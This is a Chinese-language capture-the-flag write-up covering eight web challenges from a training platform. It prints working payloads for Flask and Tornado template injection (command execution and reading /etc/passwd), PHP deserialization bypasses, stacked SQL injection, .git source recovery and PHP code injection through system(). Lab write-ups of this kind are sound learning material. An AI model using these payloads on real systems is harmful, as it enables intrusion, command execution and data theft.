前言
继续ctf的旅程
攻防世界web高手进阶区的3分题
1、Web_python_template_injection
题目提示是python template injection
是SSTI。。。
。。。。。。
之前没接触过,现学
从零学习flask模板注入
寻找可用引用
{{''.__class__.__mro__[2].__subclasses__()}}
找到我们想要 的 os
所在的 site._Printer
类,它在列表的第72位
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
得到flag所在的位置
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
到手
也可以用
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
得到flag
注:
几个有用的payload
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[' os'].popen('cat fl4g').read()
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[' os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
2、Web_php_unserialize
进来是这么一段源码
- 初始化传入值可以更改类中属性file的值
- flag在fl4g.php
- 当demo实列销毁时会高亮显示file指向的文件内容
参数传入要求
- 先进行base64加密
- preg_match()匹配绕过
- unserialize() 反序列化执行_wakeup()的绕过
加密和反序列化都不是问题
关键是绕过正则匹配和_wakeup()
wakeup的绕过还行
当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过
正则的绕过不太懂
查了查是说用“+”即可
后来找到一篇解释
大佬笔记
最后得到脚本
<?php
class Demo {
private $file = 'fl4g.php'; //flag在fl4g.php
}
$a= serialize(new demo); //序列化
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$a= str_replace('O:4', 'O:+4',$a); //用“+”绕过preg_match
$a= str_replace(':1:', ':4:',$a); //把对象个数从1变成大于1的个数绕过wakeup
echo base64_encode($a); //加密
?>
运行得到payload
TzorNDoiRGVtbyI6NDp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
放入url
得到flag
注:
关注版本问题
像“+”绕过正则是php5里的
3、supersqli
进去瞅着是sql注入
加个'
试下
存在sql注入
数据库是MariaDB
先猜字段
1' order by 2# 返回正常
1' order by 3# 返回错误
所以是两列
爆库
1' union select 1,database()#
出问题了
这些关键词被过滤了
笔者懵逼
查了下
可以用堆叠注入
查数据库
1';show databases;#
查表
1';show tables;#
那应该在这两个表里
爆列
1';show columns from `1919810931114514`;# 这里注意反引号
1';show columns from words;#
可以看到flag在1919810931114514
这个表里
mysql中可以用handler查询
尝试下
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
得到flag
看了看writeup:
发现最后查数据的方法主要有两种
- 预处理
- 改表名
(反正看了四五篇没看到跟笔者一样用handler的)
预处理
这个绕过方式有点妙
1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;#
改表名
将表1919810931114514名字改为words,flag列名字改为id
这个思路蛮符合攻击者的,暴力修改,一切随我心意
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
然后用1‘ or 1=1#
4、easy_tornado
进去是三个文件
给了三个提示:
- flag在/fllllllllllllag文件里
- render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面,可能与SSTI有关
- filehash=md5(cookie_secret+md5(filename)),我们只需要找到cookie_secret
可参考python SSTI tornado render模板注入
构造payload
error?msg={{ handler.settings }}
获取cookie_secret
然后就可以根据要求进行md5加密
再构造payload形似
file?filename=/fllllllllllllag&filehash=******************
5、shrine
进去是一串代码
做个整理
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
- flag应该在config里
- 小括号被替换为空格
- config和self命令在黑名单
这显然是个模板注入,这已经做了好几题了(不怂)
模板注入的引擎判断方法
这里做尝试
应该是Jinja2/Twig
因为对小括号进行过滤了
所以之前题目用到的
{{''.__class__.__mro__[2].__subclasses__()}}
这类调用类和子类的方法就不好用了
这就又涉及到了知识盲区(哽住)
查了查
发现可以用python的内置函数
- get_flashed_messages()
- url_for()
构造payload做尝试
/shrine/{{url_for.__globals__}}
搜索app,找到current_app,可能是当前app
尝试
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
得到flag
用另一个内置函数也可以
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
6、lottery
进来是这样的界面
意思是买彩票,赚钱,然后买flag的意思
10次机会,这不会中不了吧,不会吧,不会吧
点来点去没发现,卡住
用御剑扫描下目录
发现robots!
瞬间振奋
但发现这个进不去
查了查,跟git泄露有关
- 在运行git init初始化代码库的时候,会在当前目录下面产生一个.git的隐藏文件,用来记录代码的变更记录等等
- 在发布代码的时候,把.git这个目录没有删除,直接发布了
- 使用这个文件,可以用来恢复源代码
- 用githack可以恢复源代码
python GitHack.py http://220.249.52.133:44780/.git/
得到这么多文件
慢慢看,看晕
发现api.php里的重点
- requests是json格式的,没有检查数据类型
- 比较彩票数字与用户数字采用==弱比较,而且是一位一位的比较的
所以可以用True来代替输入的number
用burpsuite对输入进行修改
凑够钱买就是了
7、mfw
进来是这么一个个人网站页面
看了看源码
有个注释
尝试下
结果什么都没有(显然也不会这么简单)
在about里看到git
这不
受到上一题的影响
猜测是git泄露
就决定是你了,githack
python GitHack.py http://220.249.52.133:53631/.git
在index里有这么一段php
- 以get方式获得一个page变量
- 将page变量拼接成一个templates下的php文件,设置为变量file
- 判断file中是否有" … ",如果有则直接退出
所以可以在file变量里做文章
用system函数执行系统命令
构造payload
?page=abc') or system("cat templates/flag.php");//
- 传入abc,返回false
- 利用or执行system
- 用//注释掉后面内容
查看源码,得到flag
注:
常见源码泄露
8、web2
题目描述是解密
进来是这么一串代码
也就是说
- 每个字符 ASCII码 +1
- base64编码
- 反转字符串
- rot13 加密
那就逆向解密呗
结语
3分的题学到了很多
主要是
- SSTI模板注入
- git泄露
- php代码审计
- sql注入
文中也放了好些有用又详细的链接
回头要多温故